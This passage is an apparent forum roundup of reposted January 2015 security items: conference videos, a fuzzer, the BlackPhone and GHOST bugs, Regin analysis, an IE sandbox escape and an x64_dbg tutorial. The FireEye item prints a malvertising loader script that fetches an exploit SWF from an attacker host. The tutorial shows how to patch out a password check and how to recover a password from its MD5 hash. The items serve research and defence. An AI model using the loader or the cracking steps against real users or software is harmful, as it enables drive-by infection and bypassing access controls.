[TD=align: left]74.5 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Manually Searching Advisories and Blogs for Threat Data [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]366.7 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Micronesia [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]237.4 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]NSA USB Playset [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]194.0 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]NaCl Crypto Library [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]178.8 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]No Budget Threat Intel [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]303.2 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Opening Rants [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]339.3 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Practical Machine Learning for Network Security [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]305.2 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Quantum Computing [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]185.3 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Rethinking Securitys Role in CompSci Edu [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]217.6 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]SEWIFI [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]82.3 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Saturday Firetalks [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]558.8 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Tap On Tap Off [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]212.2 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]The Joy of Intelligent Proactive Security [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]399.9 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Understanding a New Memory Corruption Defense [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]327.4 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Userland Persistance [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]66.1 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Where The Wild Things Are [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]165.1 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Wheres Waldo [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]354.6 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]White is the New Black [sC2015].mp4[/TD] [TD=align: left][/TD] [TD=align: left]126.1 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]Whitelisting Evasion [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]75.3 MB [/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]Windows Sandbox Paradox [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]194.2 MB [/TD] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]httpscreenshot [sC2015].mp4[/TD] [TD=align: left]??B [/TD] [TD=align: left]198.4 MB [/TD] [/TR] [/TABLE] [TABLE=class: fileFormats table table-striped table-condensed table-hover table-bordered, width: 1338] [TR] [TH=class: ttlHeader, align: left]Information[/TH] [TH=align: left]Format[/TH] [TH=align: left]Size[/TH] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]shmoocon-2015-videos-playlist_files.xml[/TD] [TD=class: ttl, align: left]Metadata[/TD] [TD=align: left][file][/TD] [/TR] [TR=class: eve, bgcolor: #F9F9F9] [TD=class: ttl, align: left]shmoocon-2015-videos-playlist_meta.sqlite[/TD] [TD=class: ttl, align: left]Metadata[/TD] [TD=align: left]59.0 KB[/TD] [/TR] [TR=class: odd] [TD=class: ttl, align: left]shmoocon-2015-videos-playlist_meta.xml[/TD] [TD=class: ttl, align: left]Metadata[/TD] [TD=align: left]717.0 B[/TD] [/TR] [/TABLE] [TABLE=class: fileFormats table table-striped table-condensed table-hover table-bordered, width: 1338] [TR] [TH=class: ttlHeader, align: left]Other Files[/TH] [TH=align: left]Archive BitTorrent[/TH] [/TR] [TR=class: odd, bgcolor: #F0F0F0] [TD=class: ttl, align: left]shmoocon-2015-videos-playlist_archive.torrent[/TD] [TD=align: left]57.1 KB[/TD] [/TR] [/TABLE] Sursa: https://archive.org/details/shmoocon-2015-videos-playlist

Grinder - System to Automate the Fuzzing of Web Browsers Lydecker Black on 5:00 PM Grinder is a system to automate the fuzzing of web browsers and the management of a large number of crashes. Grinder Nodes provide an automated way to fuzz a browser, and generate useful crash information (such as call stacks with symbol information as well as logging information which can be used to generate reproducible test cases at a later stage). A Grinder Server provides a central location to collate crashes and, through a web interface, allows multiple users to login and manage all the crashes being generated by all of the Grinder Nodes. System Requirements A Grinder Node requires a 32/64 bit Windows system and Ruby 2.0 (Ruby 1.9 is also supported but you wont be able to fuzz 64bit targets). A Grinder Server requires a web server with MySQL and PHP. Features Grinder Server features: Multi user web application. User can login and manage all crashes reported by the Grinder Nodes. Administrators can create more users and view the login history. Users can view the status of the Grinder system. The activity of all nodes in the system is shown including status information such as average testcases being run per minute, the total crashes a node has generated and the last time a node generated a crash. Users can view all of the crashes in the system and sort them by node, target, fuzzer, type, hash, time or count. Users can view crash statistics for the fuzzers, including total and unique crashes per fuzzer and the targets each fuzzer is generating crashes on. Users can hide all duplicate crashes so as to only show unique crashes in the system in order to easily manage new crashes as they occur. Users can assign crashes to one another as well as mark a particular crash as interesting, exploitable, uninteresting or unknown. Users can store written notes for a particular crash (viewable to all other users) to help manage them. Users can download individual crash log files to help debug and recreate testcases. Users can create custom filters to exclude uninteresting crashes from the list of crashes. Users can create custom e-mail alerts to alert them when a new crash comes into the system that matches a specific criteria. Users can change their password and e-mail address on the system as well as view their own login history. Grinder Node features: A node can be brought up and begin fuzzing any supported browser via a single command. A node injects a logging DLL into the target browser process to help the fuzzers perform logging in order to recreate testcases at a later stage. A node records useful crash information such as call stack, stack dump, code dump and register info and also includes any available symbol information. A node can automatically encrypt all crash information with an RSA public key. A node can automatically report new crashes to a remote Grinder Server. A node can run largely unattended for a long period of time. Grinder Screenshots Download Grinder Sursa: http://hack-tools.blackploit.com/2015/01/grinder-system-to-automate-fuzzing-of.html

Bug in ultra secure BlackPhone let attackers decrypt texts, stalk users Silent Circle purges remotely exploitable "type confusion" flaw. by Dan Goodin - Jan 28 2015, 7:30am GTBST A recently fixed vulnerability in the BlackPhone instant messaging application gave attackers the ability to decrypt messages, steal contacts, and control vital functions of the device, which is marketed as a more secure way to protect communications from government and criminal snoops. FURTHER READING Custom-built with privacy in mind, this handset isn’t for (Google) Play. Mark Dowd, a principal consultant with Australia-based Azimuth Security, said would-be attackers needed only a user's Silent Circle ID or phone number to remotely exploit the bug. From there, the attacker could surreptitiously decrypt and read messages, read contacts, monitor geographic locations of the phone, write code or text to the phone's external storage, and enumerate the accounts stored on the device. He said engineers at BlackPhone designer Silent Circle fixed the underlying bug after he privately reported it to them.The vulnerability resided in SilentText, the secure text messaging application bundled with the BlackPhone and also as a free Android App in Google Play. A component known as libscimp contained a type of memory corruption flaw known as a type confusion vulnerability. Libscimp is the BlackPhone implementation of the Silent Circle Instant Messaging Protocol (SCIMP) and runs on top of the extensible messaging and presence protocol (XMPP). SCIMP is used to create secure end-to-end channels between people sending text messages. It handles the transportation of the encrypted data through the channel. Type confusion vulnerabilities occur when one data type is mistakenly interpreted as another. Usually, a pointer to one object is incorrectly manipulated as a pointer to an object of a different type. In unmanaged languages such as C, these flaws often result in invalid memory accesses that can be exploited in ways similar to so-called use-after-free bugs. Dowd and fellow researchers Ryan Smith and David Dewey spoke about type confusion at the 2009 Black Hat security conference. The BlackPhone attack could be triggered by sending targets a specially designed payload that allowed an attacker to overwrite a pointer in memory, paving the way to replacing normal contents with malicious ones. Dowd provides a spectacularly deep technical explanation in his blog. The vulnerability is a potent reminder that strong encryption means little if one of the endpoints is compromised. The BlackPhone appears to do many things right, but in age of advanced hacking and ever more complex software, that's no guarantee it can't be hacked. Sursa: http://arstechnica.com/security/2015/01/bug-in-ultra-secure-blackphone-let-attackers-decrypt-texts-stalk-users/

An Introduction To x64_dbg Welcome to this short, introductory tutorial for using x64_dbg. The goal of this tutorial is to teach you some of the fundamentals of the x64_dbg and show you how closely its features and flexibility resembles its close cousin Ollydbg.While x64_dbg is still in an alpha stage, its bugs are minor and few with only a crash happening under unlikely conditions. 1. The Configuration. Configuring x64_dbg is quite simple since the menu is much more concise than ollydbg, making the process much more user friendly. To access the configuration dialog, simply go to the Options menu and click Preferences. In the first tab labeled Events, you can configure what events you want x64_dbg to break on when they occur. The configuration in the screenshot above is what I typically recommend and use for simple debugging. The options here are just like those found in ollydbg 1.10 with a few additional features. Here is the gist of what these features do. System Breakpoint: When loading a new process, the will cause x64_dbg to break in the system function which initializes the application you are attempting to debug. TLS Callbacks: The TLS Callback is a function which is called before the main application runs. This can set parameters or even be used by certain protectors to implement anti-debug technology. This allows you to break on this function. Entry Breakpoint: This causes x64_dbg to break on the Entry point on the application. For general debugging, this is the only breakpoint you will need to have checked. DLL Entry: This will break on the entry point of any DLL which is loaded by the process you are debugging. Thread Entry: This will break on the first instruction of any new thread initialized by the current process. Attach Breakpoint: When this is checked, it will cause x64_dbg to break in the DbgUiRemoteBreakin function when attaching to an active process. If unchecked, it will attach without suspending the process. DLL Load/DLL Unload: This will break in the system function when a new library(DLL) is loaded into or unloaded from the active process. The DLL Load breakpoint occurs before any of its code is executed. Thread Start/Thread End: This allows us to break in system when our debugged application initializes or terminates a thread. In the Engine pane, you will find a few advanced settings for the debugging engine. This should just be left as default in most cases, but here is a rundown of how they work. Enable Debug Privilege: This allows you to attach to system processes. Breakpoint Type: This feature allows you to try different types of breakpoints if your program detects or blocks the default INT3. Undecorate Symbol Names: This makes symbol names look cleaner. It is an aesthetic feature. In the Exceptions pane, you can tell x64_dbg which exceptions you would like to ignore and pass to the program. Leaving this blank will let x64_dbg break on every exception. If you want to ignore all exceptions, add the range 0-ffffffff using the Add Range button. The Add Last button will allow you to add the most recent exception which the program you are currently debugging incurred to the ignore list. We can use the Disasm pane in order to change the appearance of the disassembled instructions. Here is a gist of what these options do. Argument Spaces: This will put a space after every argument changing mov rax,rdx to mov rax, rdx. It essentially puts a space after every comma. Memory Spaces: This puts a space in between memory reference instructions and their operators. This causes mov eax, byte ptr ds:[edx+18] to look like mov eax, byte ptr ds:[edx + 18]. Uppercase: This changes all of the text to uppercase. Autocomments only on CIP: This will remove all comments, including references from the current disassembly except at the instruction pointer. The Misc tab allows you to configure x64_dbg to be the Just in Time Debugger so that the system can attach it to a process whenever a problem occurs. 1. Debugging x64_dbg Sample: In order to make this tutorial a little more hands on, I created a little program called x64_dbg Sample. It and its source are available for download directly from the x64_dbg sourceforge directory at the following link: http://sourceforge.net/projects/x64dbg/files/extra/ Once you have downloaded this, extract it from the archive and let's open it in x64_dbg. To do so, you can start x64_dbg and drag and drop the file into the disassembly window or use the File -> Open option to do the same. Alternately, you can let the default x64_dbg program automatically register a shell extension for you so you can open files through the right click menu. Once you have opened it and you had previously configured the event settings to Entry Point only, you should be at the entry point of the main module. In the interface, you will see that x64_dbg has many of the same shortcut keys as ollydbg. In the debug menu, you can see that x64_dbg has the same hotkeys as Ollydbg. These commands provide some of the key operations that you will need to use in your regular debugging activities. Run(F9): This starts or resumes the process normally. Run(skip exceptions) (Shift+f9): This will resume the process while passing the current and all following exceptions to the process. Pause(F12): This suspends the current process. Restart(Ctrl+F2): This terminates the debugged process and reloads it. Close(Alt+F4): This terminates and unloads the debugged process. Step Into(F7): This allows us to enter a routine or execute the next step in a repeat instruction. Step Into(skip exceptions)(Shift+F7): This allows us to enter a routine or execute the next step in a repeat instruction while passing the current exception to the application. Step Over(F8): This allows you to execute an entire subroutine or repeat instruction without stepping through it instruction by instruction. Step Over(skip exceptions)(Shift+F8): This allows you to execute an entire subroutine or repeat instruction without stepping through it instruction by instruction while passing the current exception to the application. Execute Till Return(Ctrl+F9): This resumes the process until a return instruction is executed. Execute Till Return(skip exceptions)(Ctrl+Shift+F9): This resumes the process until a return instruction is executed while passing the current exception to the application. Breakpoints: When you are debugging, one of the primary features you want to use is called breakpoints. There are 3 main types of breakpoints. We will briefly discuss these here. Execution Breakpoint: This is the most common and most used type of breakpoint. When you toggle a breakpoint on a specific address, this tell the debugger to stop when that address is reached in the execution. To use this, simply press the F2 when over an address you would like to break on. Memory Breakpoint: A memory breakpoint is used to pause an application when a specific area of memory is either accessed, written to, or executed. This is handy when you want to determine when or if a specific area of memory is used by the program. This is available in the right click menu of the memory map window and dump pane. Hardware Breakpoint: A hardware breakpoint is used to pause an application when a particular address is either written to, read, or executed. This is specifically useful to determine when a particular variable is set. This can be used for byte, word, and dword reads and writes. This feature is available in the right click menu of the hex dump. Let's Begin: Now that we have a general understanding of the features in x64_dbg, we can begin debugging our first target. We already have our target loaded into x64_dbg, so let's Run it by pressing F9. As you can see, the application begins to run with the debugger attached to it. At this point, we can pause the application in x64_dbg and take a look at a few of its features. To pause the application, press F12. When we pause, we arrive inside of a break-in thread created by x64_dbg. In order to get back to the main thread, we simply click the threads tab and double click on the one labeled main. Once we arrive in the Main Thread, we can start stepping through the routines and analyzing the call stack. The Call Stack window gives you an extensive list of the functions and procedures(routines) which brought you to your current location. You can use this window to analyze these routines and learn about your application's execution routine. Just double click the one you would like to follow in the disassembler. The Memory Map pane will show us all of the sections or regions of RAM allocated to and by our application and its dependencies. Let's go ahead and resume the process by pressing F9. Let's attempt to enter the fake password '123456' into the application and see what message is returned when we click Check. As we see, this is not a valid password because of the message 'Authentication Failed. Invalid Password!' Now that we know the message, let's use the built-in find referenced strings function in x64_dbg to see if we can locate this string inside of the application.To do this, we first need to verify that we are currently inside of the application module. Once this is verified, we can either click on the 'A' button on the top pane of x64_dbg, or left click in the disassembly pane and go to Search for -> String references. This will build up a listing of all of the strings referenced in the application's code. Once you build up a list, we can use the search pane to filter the list and find the location of this string. However, since this is small application, a simple scroll to the bottom will reveal the location of where our string is referenced, as well as some other interesting strings. Double clicking any of these will take you to their location in the disassembly pane. You can also toggle a breakpoint on these references by simply pressing F2. Let's follow the 'Authentication Failed..' string and see where it takes us. In the picture above, I have set a breakpoint at the beginning of the function which checks our password. I have also added some comments beside of a few of the calls so that we can understand this a little better. If we were to step through this using f8, which steps over the calls, we can see the process. Let's toggle the breakpoint at the beginning of this function using F2, enter the value of123456 into the password box and click Check. We will immediately break on our breakpoint. As we step, you will notice that we will get the password we entered in the text field and then hash it with the built in algorithm. As we can see, our password is being run through a digest or hashing algorithm and being compared to a precalculated value which is stored in the program as a string. To determine which hash algorithm type this program is using, we can use my software hashing utility to compare the results for the string '123456'. In the debug sample, the hash returned for '123456' is 'e10adc3949ba59abbe56e057f20f883e'. Let's see which algorithm produces the same. It appears that our hash algorithm is MD5. Since the hash is compared to a hardcoded value, it may take a long time to bruteforce or recover the original password. Using x64_dbg, we have the ability to patch or modify the instructions so that it can accept any password as valid. In the code above, our hashes are compared. If they are equal to each other, the program tells us the password is valid. If not, we are told it is invalid. Using the built in assembler, we can change the location of where the comparison jump lands. That means if we change it to the next instruction, it will always show that the password is valid regardless of what we enter. To use the assembler, we simply press the space bar when we are over top of the instruction we want to change. Normally, this would jump to VA 59EA68 if the password is invalid. Here, we will simply change the address to 59EA5A so that it will always go to the valid password code regardless of what we enter into the field. After we click OK, the instruction is immediately modified in memory. Now that we have patched, let's test the '123456' password again. As you can see, anything we enter now will be the correct password. However, this patch only affects the memory of the process. Once we restart the program, this patch will be gone. If you want to make this patch permanent, you can save this to disk. This will make a modified copy of our executable that will always accept a fake password. To do so, we open the patch dialog by clicking the button with the bandage on it at the top. Once this is opened, we can check the patch you want to save, and this click Patch file. This will allow you to save the modified program directly on disk under any name that you specify. Now, since we know how the algorithm works, let's see if we can break the password. Online there are multiple databases that will check if they have a solution to your hash. In order to copy the built in hash as a string, we need to follow the value in the dump.To do so, right click on the instruction which points to the built in hash and go to Follow in Dump -> Address. Now that we are in the dump, we need to highlight the hex values of the hash string, right click, and the click edit. This will allow us to simply copy the string directly to our clipboard. Now that we have the hash, we can paste it into a hash solver such as the one available at hashkiller.co.uk. Amazingly, it has found a solution saying that the password is ba321c. Let's open the unmodified program or restart the one in our debugger and try this value in the password field. Using our minds and taking this simple approach, we have found the password. This concludes this introductory tutorial for x64_dbg. This is a very powerful reverse engineering tool that offers a wide range of features and flexibility to accomplish even the most difficult tasks. We are very fortunate that the author has made this free and open source. We should always take the time to thank the developer who has worked hard on this with a small donation or contribution. I hope you found this tutorial helpful. If you have any questions, feel free to ask them below. Until next time, happy reversing. Posted by Chester Fritz at 1:33 PM Sursa: http://reverseengineeringtips.blogspot.gr/2015/01/an-introduction-to-x64dbg.html

A Different Exploit Angle on Adobe's Recent Zero-Day January 27, 2015 | By Dan Caselden, Corbin Souffrant, James T. Bennett | Exploits, Threat Research The Angler Exploit Kit (EK) recently incorporated a zero-day exploit (CVE-2015-0311) as discussed on Jan. 21 by Kafeine (http://malware.dontneedcoffee.com/2015/01/unpatched-vulnerability-0day-in-flash.html). OnJan. 24, FireEye encountered a variant of this exploit packaged in a completely different way. The following is a technical discussion of this sample and its contrast to that provided by the Angler EK. Mitigation Adobe has released a patch addressing CVE-2015-0311. Applying this security patch will prevent this and any other samples relying on CVE-2015-0311 from successfully exploiting victim machines. New Variant HTML/Javascript Attack Vector The exploit is being served through advertising banners on adult websites, including one Alexa top 1000 site. The Flash exploit is loaded by plain Javascript generated from php that appears to be devoid of any environmental checks or obfuscations that are typically indicative of the Angler EK: <script type="text/javascript" src="http://neteasymarketing[.]biz/tracking.php"></script> ---- document.write('<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="1" height="1"><param name="movie" value="http://neteasymarketing[.]biz/banner/fcf5e938398090608dbdd0ac8c382207.swf" /><!--[if !IE]>--><object type="application/x-shockwave-flash" data="http://neteasymarketing[.]biz/banner/fcf5e938398090608dbdd0ac8c382207.swf" width="1" height="1"></object><!--<![endif]--></object>'); Articol complet: https://www.fireeye.com/blog/threat-research/2015/01/a_different_exploit.html

Comparing the Regin module 50251 and the "Qwerty" keylogger Costin Raiu Igor Soumenkov On January 17 2015, Spiegel.de published an extensive article based on documents obtained from Edward Snowden. At the same time, they provided a copy of a malicious program codenamed "QWERTY" (http://www.spiegel.de/media/media-35668.pdf), supposedly used by several governments in their CNE operations. We've obtained a copy of the malicious files published by Der Spiegel and when we analyzed them, they immediately reminded us of Regin. Looking at the code closely, we conclude that the "QWERTY" malware is identical in functionality to the Regin 50251 plugin. Analysis The Qwerty module pack consists of three binaries and accompanying configuration files. One file from the package– 20123.sys – is particularly interesting. The "20123.sys" is a kernel mode part of the keylogger. As it turns out, it was built from source code that can also be found one Regin module, the "50251" plugin. Using a binary diff it is easy to spot a significant part of code that is shared between both files: Most of the shared code belongs to the function that accesses the system keyboard driver: Most of the "Qwerty" components call plugins from the same pack (with plugin numbers 20121 – 20123), however there is also one piece code that references plugins from the Regin platform. One particular part of code is used in both the "Qwerty" 20123 module and the Regin's 50251 counterpart, and it addresses the plugin 50225 that can be found in the virtual filesystems of Regin. The Regin's plugin 50225 is reponsible for kernel-mode hooking. This is a solid proof that the Qwerty plugin can only operate as part of the Regin platform, leveraging the kernel hooking functions from plugin 50225. As an additional proof that both modules use the same software platform, we can take a look at functions exported by ordinal 1 of both modules. They contain the startup code that can be found in any other plugin of Regin, and include the actual plugin number that is registered within the platform to allow further addressing of the module. This only makes sense if the modules are used with the Regin platform orchestrator. The reason why the two modules have different plugin IDs is unknown. This is perhaps because they are leveraged by different actors, each one with its own allocated plugin ID ranges. Conclusions Our analysis of the QWERTY malware published by Der Spiegel indicates it is a plugin designed to work part of the Regin platform. The QWERTY keylogger doesn't function as a stand-alone module, it relies on kernel hooking functions which are provided by the Regin module 50225. Considering the extreme complexity of the Regin platform and little chance that it can be duplicated by somebody without having access to its sourcecodes, we conclude the QWERTY malware developers and the Regin developers are the same or working together. Another important observation is that Regin plugins are stored inside an encrypted and compressed VFS, meaning they don't exist directly on the victim's machine in "native" format. The platform dispatcher loads and executes there plugins at startup. The only way to catch the keylogger is by scanning the system memory or decoding the VFSes. Sursa: https://securelist.com/blog/research/68525/comparing-the-regin-module-50251-and-the-qwerty-keylogger/

[h=2]Advanced Heap Overflow Exploitation[/h] [h=4]By Francois Goichon, 28 Jan. 2015[/h]For 15 years, heap exploitation has gone through a relentless cycle of the disclosure of technical exploitation techniques and consequent hardening of malloc() in response. Notable examples include: the old-school unlink() exploit; the Malloc Maleficarum revisited in 2009; and Google Project Zero's large chunks unlink, where libc fails to compile assert() statements in. Inevitably, most of the techniques described in these papers are now obsolete, have been subsequently patched, or have been rendered unexploitable through the addition of mitigation technologies such as Address Space Layout Randomisation (ASLR) and No eXecute (NX). Nowadays, exploiting heap structures is heavily dependent on the target application, and in most scenarios the goal is to overwrite pointers or indexes that can eventually provide program counter (PC) control or an arbitrary overwrite. In this paper, however, we target a more specific scenario, where the heap overflow cannot immediately reach interesting data. We present how heap structures can be abused to produce overlapping chunks. The exploitation process is then comparable to use-after-free vulnerabilities. We demonstrate this scenario in both a real-world example and a proof-of-concept program prone to overflows in heap areas where the attacker can predict and further manage chunk allocation. This happens in programs that make an extensive use of malloc() and free() with user-controlled chunks, namely protocol handlers, parsers, editors or, more generally, applications maintaining algorithmic structures of said user-supplied data. Read the full whitepaper Sursa: Advanced Heap Overflow Exploitation

Better and more secure JavaScript! Because! Just include… <script src="secure.js"></script> …and reap the benefits of really safe and secure JavaScript! ;;;;;;;;;; // semicolons make things securer, trust me on this;;;;;;;;;; ;;;;;;;;;; ((((( function(){ function log(message){ if ('console' in this && 'log' in console) {{{{ console.log(message); }}}} } // first, test if JavaScript is available document.write('<script>;;;;;var __secure = true;;;;;</script>'); if (!__secure) {{{{ return log("secure.js: security alert: whoa, no JavaScript available!!1!"); }}}} // sanity check that JavaScript actually works if (!(1+1 == 2)) {{{{ return log("secure.js: security alert: nice try, fake JavaScript!!1!"); }}}} // before declaring strict mode, which requires a string, // test if Strings are available if (!'String' in this) {{{{ return log("secure.js: security alert: strings are not available!!1!"); }}}} // improve security by using strict mode "use strict"; return log("secure.js: everything is really secure now!"); ;;;;;;;;;; } )))))() ;;;;;;;;;; ;;;;;;;;;; // some more security padding Acest post este un... Sursa: https://github.com/madrobby/secure.js/blob/master/secure.js

Da-ne niste detalii si niste dovezi. Intre timp, scot din informatii.

Super.

CVE-2015-0016: Escaping the Internet Explorer Sandbox 11:04 pm (UTC-7) | by Henry Li (Threats Analyst ) Part of this January’s Patch Tuesday releases was MS15-004, which fixed a vulnerability that could be used in escalation of privilege attacks. I analyzed this vulnerability (designated as CVE-2015-0016) because it may be the first vulnerability in the wild that showed the capability to escape the Internet Explorer sandbox. As sandboxing represents a key part of exploit mitigation techniques, any exploit that can break established sandboxes is worth a second look. The vulnerability in the module TSWbPrxy.exe, which is an ActiveX Control. This module acts as the web proxy of the Microsoft Remote Desktop. Patch differences First, I used the IDA plugin patchdiff2 to see what modifications the patch had made. This was in the functionCTSWebProxy::StartRemoteDestop. Using OleView, I loaded TSWbPrxy.exe to see the definition of CTSWebProxy::StartRemoteDestop. Figure 1. Definition of StartRemoteDesktop I found that StartRemoteDesktop has two parameters, both related to mstsc.exe, which is the Remote Desktop application: bstrMstsc: the file path of mstsc.exe bstrArguments: the parameters of mstsc.exe The StartRemoteDesktop function creates a process to launch mstsc.exe. I used the IDA plugins to show more clearly the differences between the patched and unpatched versions: Figure 2. Differences between patched and unpatched versions (Click to enlarge) On the left is the patched version of this procedure. On the right is the unpatched version. On the patched version, before the call for CreateProcessW is carried out, check_path (shown in grey) is called. No such call exists on the unpatched version. Let’s look at this particular function: Figures 3 and 4. Code of check_path It has one parameter (lpApplicationName) and performs the following routines: First check lpApplicationName length. It this is bigger than 0x104, return error 0x80075007. Format lpApplicationName, convert char ‘/’ to char ‘\’ and save the result to var_formatApplicationNmae. call CompareStringW to compare the string SystemDirectory + “mstsc.exe” with the stringvar_formatApplicationNmae. If the two are equal, check_path returns 0. call CompareStringW to compare the string SystemWow64Directory + “mstsc.exe” with var_formatApplicationNmae. If the two are equal, check_path returns 0 otherwise it returns error 0x80075007. This allows us to see just how Microsoft patched the vulnerability. It checks if lpApplicationName is equivalent to the full path of the Remote Desktop application if it’s located in the System directory (which is C:\Windows\System32 for the 32-bit version and C:\Windows\SysWOW64 for the 64-bit version). If these two match, the process is created, otherwise an error is returned. The root cause of the vulnerability is simple: the correct purpose of the StartRemoteDesktop function is to launch the Remote Desktop application, mstsc.exe. However, when the programmer implemented this function checking of thelpApplicationName parameter was not implemented. This means that the function can be used to launch arbitrary processes if the parameter lpApplicationName is modified. Below is the code for the unpatched version: Figure 5. Unpatched code Escaping the Internet Explorer sandbox In order to escape the Internet Explorer sandbox, we first need to see how sandbox elevation polices are implemented. Elevation polices determine how a process or a COM server will be launched, and with what privilege level. These are stored in registry keys under: HKLM\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy\{GUID} Each registry key has the following values under it: AppName: Application executable name AppPath: Application path Policy: this value specifies the privilege level of the executable, and can be any of the following values: Figure 6. Varying policy settings We will look at processes with the Policy value of 3. At this level, the Internet Explorer sandbox silently launches an application as a medium integrity process under the Internet Explorer broker process. One such file is TSWbPryx.exe, the ActiveX control tied to MS15-004. Figure 7. Settings in Windows Registry for TSWbPryx.exe If an attacker can use a separate vulnerability to obtain a low integrity process within the sandbox, they can use theTSWbPrxy ActiveX control to call StartRemoteDesktop. This will launch an application (chosen by the attacker) with medium integrity, like its parent process TSWbPrxy.exe. We can combine this vulnerability with CVE-2014-6332 (which we’ve previously analyzed)to do this. Combined, we can escape the Internet Explorer sandbox and can run an app with medium integrity. In addition, used correctly CVE-2014-6332 can be used to bypass ActiveX security mechanisms. This will allow Internet Explorer to run these controls without a dialog (like the one below) being shown to the user: Figure 8. ActiveX control alert The end result will be an attacker able to run their specified application with medium integrity, as seen in the screenshot below. Figure 9. Calculator being run with medium integrity Solutions and Recommendations While this vulnerability could pose a risk used with other vulnerabilities, it’s worth noting that Microsoft has already patched these issues as part of their regular Patch Tuesday cycles. Users with up-to-date systems would not be at risk, and neither would users of other browsers. In addition, thee enhanced sandbox mentioned in this blog post is not present in older versions of Windows, such as Windows 7. While it can be bypassed (with effort), it is still an effective method to protect against many attacks. Using newer versions of Windows and Internet Explorer allows for improved exploit mitigation techniques to be used. Sursa: http://blog.trendmicro.com/trendlabs-security-intelligence/cve-2015-0016-escaping-the-internet-explorer-sandbox/

GHOST: glibc gethostbyname buffer overflow Qualys Security Advisory CVE-2015-0235 GHOST: glibc gethostbyname buffer overflow --[ Contents ]---------------------------------------------------------------- 1 - Summary 2 - Analysis 3 - Mitigating factors 4 - Case studies 5 - Exploitation 6 - Acknowledgments --[ 1 - Summary ]------------------------------------------------------------- During a code audit performed internally at Qualys, we discovered a buffer overflow in the __nss_hostname_digits_dots() function of the GNU C Library (glibc). This bug is reachable both locally and remotely via the gethostbyname*() functions, so we decided to analyze it -- and its impact -- thoroughly, and named this vulnerability "GHOST". Our main conclusions are: - Via gethostbyname() or gethostbyname2(), the overflowed buffer is located in the heap. Via gethostbyname_r() or gethostbyname2_r(), the overflowed buffer is caller-supplied (and may therefore be located in the heap, stack, .data, .bss, etc; however, we have seen no such call in practice). - At most sizeof(char *) bytes can be overwritten (ie, 4 bytes on 32-bit machines, and 8 bytes on 64-bit machines). Bytes can be overwritten only with digits ('0'...'9'), dots ('.'), and a terminating null character ('\0'). - Despite these limitations, arbitrary code execution can be achieved. As a proof of concept, we developed a full-fledged remote exploit against the Exim mail server, bypassing all existing protections (ASLR, PIE, and NX) on both 32-bit and 64-bit machines. We will publish our exploit as a Metasploit module in the near future. - The first vulnerable version of the GNU C Library is glibc-2.2, released on November 10, 2000. - We identified a number of factors that mitigate the impact of this bug. In particular, we discovered that it was fixed on May 21, 2013 (between the releases of glibc-2.17 and glibc-2.18). Unfortunately, it was not recognized as a security threat; as a result, most stable and long-term-support distributions were left exposed (and still are): Debian 7 (wheezy), Red Hat Enterprise Linux 6 & 7, CentOS 6 & 7, Ubuntu 12.04, for example. --[ 2 - Analysis ]------------------------------------------------------------ The vulnerable function, __nss_hostname_digits_dots(), is called internally by the glibc in nss/getXXbyYY.c (the non-reentrant version) and nss/getXXbyYY_r.c (the reentrant version). However, the calls are surrounded by #ifdef HANDLE_DIGITS_DOTS, a macro defined only in: - inet/gethstbynm.c - inet/gethstbynm2.c - inet/gethstbynm_r.c - inet/gethstbynm2_r.c - nscd/gethstbynm3_r.c These files 